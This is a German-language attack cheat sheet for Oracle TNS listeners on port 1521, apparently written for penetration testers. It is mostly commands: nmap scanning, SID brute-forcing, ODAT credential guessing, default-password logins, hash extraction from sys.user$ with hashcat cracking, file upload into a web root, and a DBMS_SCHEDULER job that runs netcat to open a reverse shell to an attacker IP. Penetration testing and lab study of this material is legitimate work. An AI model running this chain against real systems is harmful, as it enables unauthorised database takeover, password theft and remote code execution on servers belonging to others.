1521 - Oracle TNS

Einführung

Oracle TNS (Transparent Network Substrate) ist ein Kommunikationsprotokoll, das Oracle-Datenbanken verwenden, um Netzwerkverbindungen von Clients entgegenzunehmen und weiterzuleiten. Es gehört zu Oracle Net Services.

Auf jedem Oracle-Datenbankserver läuft in der Regel ein sogenannter TNS Listener. Dieser Listener ist ein separater Prozess, der auf eingehende Verbindungen lauscht – standardmäßig auf TCP-Port 1521. Sobald eine Verbindung eingeht, leitet er sie an die richtige Datenbankinstanz weiter.


Instanzen und SID

Ein Oracle-Datenbankserver kann mehrere Instanzen gleichzeitig betreiben. Jede Instanz ist ein eigener Satz von Prozessen und Speicherstrukturen, der mit einer bestimmten Datenbankdatei arbeitet.

Zur eindeutigen Identifikation verwendet Oracle den SID (System Identifier) – das ist der eindeutige Name einer Instanz auf dem Server.

Wenn sich ein Client verbinden möchte, muss er den Host, den Port und den SID kennen. Nur so weiß der Listener, welche Instanz gemeint ist.

Beispiel für eine Verbindung:

sqlplus scott/tiger@//10.0.0.1:1521/XE
#       Username/Password@//IP:Port/SID

Oracle TNS Enumeration & Exploitation

Port Scan

Nmap

sudo nmap -p1521 -sV <ZIEL-IP> --open

Ziel: Prüfen, ob ein Oracle Listener läuft und welcher Versionstyp verwendet wird (z. B. 11.2.0.2.0).

SID Enumeration

Nmap-Skript

sudo nmap -p1521 -sV <ZIEL-IP> --open --script oracle-sid-brute

Erkennt installierte Instanzen wie z. B. XE, was für Login erforderlich ist.

Benutzer/Passwort Enumeration mit ODAT

./odat.py all -s <ZIEL-IP>

Beobachtungen:

  • Konten wie mdsys, outln sind gesperrt

  • Gültige Kombination scott/tiger gefunden → Weiterverwendung möglich

Verbindungsaufbau mit SQL*Plus

sqlplus scott/tiger@<ZIEL-IP>/XE

Bei Shared-Library-Fehler:

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf"; sudo ldconfig

Rechte- und Tabellen-Check

SQL> select table_name from all_tables;
SQL> select * from user_role_privs;

Ziel: Prüfen, ob der Benutzer Zugriff auf Tabellen hat und welche Rollen aktiv sind. Rollen wie DBA wären kritisch.

Login als SYSDBA (Privilege Escalation)

sqlplus scott/tiger@<ZIEL-IP>/XE as sysdba

SQL-Ausgabe zeigt mögliche Übernahme der Datenbank mit Rollen wie DBA, SYS, etc.

Hash Extraction für Offline-Cracking

SQL> select name, password from sys.user$;

Mit Hashcat offline knacken:

hashcat -m 112 -a 0 hashes.txt rockyou.txt

File Upload via ODAT

echo "Oracle File Upload Test" > test.txt
./odat.py utlfile -s <ZIEL-IP> -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot test.txt ./test.txt

Ergebnis testen:

curl -X GET http://<ZIEL-IP>/test.txt

Ausgabe sollte enthalten:

Oracle File Upload Test

RCE via DBMS_SCHEDULER

BEGIN
  DBMS_SCHEDULER.create_job(
    job_name => 'revjob',
    job_type => 'EXECUTABLE',
    job_action => '/bin/bash',
    number_of_arguments => 1,
    enabled => FALSE,
    auto_drop => FALSE);
  DBMS_SCHEDULER.set_job_argument_value('revjob',1,'-c "nc <ANGREIFER-IP> 4444 -e /bin/sh"');
  DBMS_SCHEDULER.enable('revjob');
END;
/

Ziel: Reverse Shell triggern über das SCHEDULER-Subsystem.

Fazit

Die Analyse zeigt: Standardkonfigurationen und veraltete Versionen in Oracle-Systemen bieten vielfältige Angriffsflächen. Tools wie ODAT in Kombination mit SQL*Plus ermöglichen es, Oracle-Datenbanken systematisch zu untersuchen und ggf. zu kompromittieren. Entscheidend ist dabei die Kombination aus SID-Bruteforce, Credential-Angriffen, Rechteauswertung und kreativer Ausnutzung von Features wie Dateioperationen oder Zeitsteuerungssystemen (SCHEDULER).

Last updated